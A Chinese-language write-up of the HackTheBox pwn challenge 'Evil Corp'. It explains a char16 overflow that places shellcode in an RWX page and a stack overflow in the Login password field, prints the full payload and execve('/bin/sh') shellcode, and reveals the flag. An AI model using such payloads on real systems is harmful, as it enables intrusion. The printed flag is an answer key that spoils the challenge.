HackTheBox Pwn Challenge - Evil Corp (Medium)
題目資訊
- 分類: Pwn (二進位漏洞利用)
- 難度: Medium (697 人解出)
- 二進位檔: ELF 64-bit PIE, 動態連結, 未去符號
保護機制
| 保護 | 狀態 |
|---|---|
| PIE | 開啟 |
| NX | 開啟 |
| Canary | 關閉 |
| RELRO | Partial |
逆向分析
程式流程
main → Setup → 迴圈 { WelcomeMsg → 未登入? Login : ShowNotifications → GetOpt }
關鍵函式
Setup(): 設定 UTF-8 locale、關閉 I/O 緩衝,並用 mmap 在固定位址建立兩塊記憶體:
SupportMsg在 0x10000 (RW, 0x4B0 bytes, MAP_FIXED)AssemblyTestPage在 0x11000 (RWX, 0x800 bytes, MAP_FIXED) — 可讀可寫可執行!
Login(): 使用寬字元(wchar_t)讀取帳密,硬編碼帳號 eliot、密碼 4007。密碼透過 fgetws(rsp, 0x12c, stdin) 讀取,最多 300 個 wchar(1200 bytes),但 stack frame 只有 0x150 bytes — 堆疊溢位。
ContactSupport(): 讀取最多 0x1000 個 wchar,透過 wcharToChar16() 轉換後寫入 SupportMsg。每個 wchar (4 bytes) 轉成 char16 (2 bytes),最多寫出 0x2000 bytes,從 0x10000 開始可以一路寫到 0x12000,覆蓋到 0x11000 的 RWX 頁面。
漏洞鏈
兩個漏洞串接:
- ContactSupport char16 溢位 → 將 shellcode 寫入 RWX 頁面 (0x11000)
- Login 密碼堆疊溢位 → 覆蓋 return address 跳轉到 0x11000 執行 shellcode
攻擊步驟
步驟 1:登入
使用從 .rodata 中提取的憑證 eliot / 4007 登入。
步驟 2:透過 ContactSupport 寫入 Shellcode
發送 0x800 個 'A' 作為 padding(產生 0x1000 bytes 的 char16 填滿 0x10000-0x10FFF),接著發送 shellcode 編碼的 wchar:
# 每 2 bytes shellcode 編碼為一個 Unicode 字元
# 例如 shellcode 的 0x48, 0x31 → U+3148 → UTF-8: E3 85 88
for i in range(0, len(sc), 2):
val = sc[i] | (sc[i+1] << 8)
result += chr(val)
wcharToChar16 取每個 wchar 的低 16 bits 存為 char16,以 little-endian 排列,完美還原 shellcode 原始 bytes。
步驟 3:登出
選擇選單中的 Logout (選項 3),程式回到未登入狀態。
步驟 4:再次 Login 觸發溢位
密碼欄位 stack layout:
rsp + 0x000: 密碼 buffer 起始
rsp + 0x150: saved RBX (8 bytes)
rsp + 0x158: return address (8 bytes) ← 目標
return address 在第 86 個 wchar 位置 (0x158 / 4 = 86)。
發送 payload:
overflow = b'C' * 86 # 86 個 ASCII 字元 = 86 wchars padding
overflow += b'\xf0\x91\x80\x80' # U+11000 的 UTF-8 編碼 = return addr 低 4 bytes
overflow += b'\x00' # U+0000 = return addr 高 4 bytes (必須為 0)
overflow += b'D' * 211 # 填滿 fgetws buffer 到 299 wchars
r.send(overflow) # 不加換行! fgetws 讀滿 299 字元後自動返回
關鍵技巧 — null byte 處理:
- return address 完整 8 bytes 需要為
0x0000000000011000 - 高 4 bytes 必須全零,透過發送
\x00byte 實現 - glibc 的
fgetws遇到 null byte 時不會停止(只在換行或 n-1 字元時停止) - 填滿 fgetws 的 299 字元上限,避免需要換行符號(換行會覆蓋 return address 高位)
Shellcode
; execve("/bin/sh", NULL, NULL) - 28 bytes
xor rsi, rsi ; rsi = 0
push rsi ; null terminator
movabs rdi, 0x68732f2f6e69622f ; "/bin//sh"
push rdi
mov rdi, rsp ; rdi = 指向 "/bin//sh"
xor rdx, rdx ; envp = NULL
xor rax, rax
mov al, 0x3b ; syscall number = execve
syscall
攻擊示意圖
┌──────────────────────────────────────────────┐
│ 1. Login (eliot/4007) │
│ 2. ContactSupport: │
│ ┌─────────────┬──────────┐ │
│ │ 0x800 'A's │ Shellcode │ → char16 寫入 │
│ │ (padding) │ (14 wchar)│ │
│ └─────────────┴──────────┘ │
│ 0x10000 0x11000 (RWX) │
│ │
│ 3. Logout │
│ 4. Login overflow: │
│ ┌────────┬─────────────┬────┬─────┐ │
│ │86 wchar│ chr(0x11000)│\x00│ pad │ │
│ │padding │ ret addr lo │ hi │ fill│ │
│ └────────┴─────────────┴────┴─────┘ │
│ → return 到 0x11000 執行 shellcode → 🐚 │
└──────────────────────────────────────────────┘
Flag
HTB{45c11_15_N07_4L0000n3}
學到的技術
- wchar_t 與 char16_t 之間的轉換可以作為 shellcode 編碼機制
fgetws不會在 null wchar 停止,可以利用此特性塞入 null bytes- 固定位址的 RWX mmap 頁面是經典的 shellcode 目標
- 填滿 fgetws buffer 上限可以避免換行符號污染 return address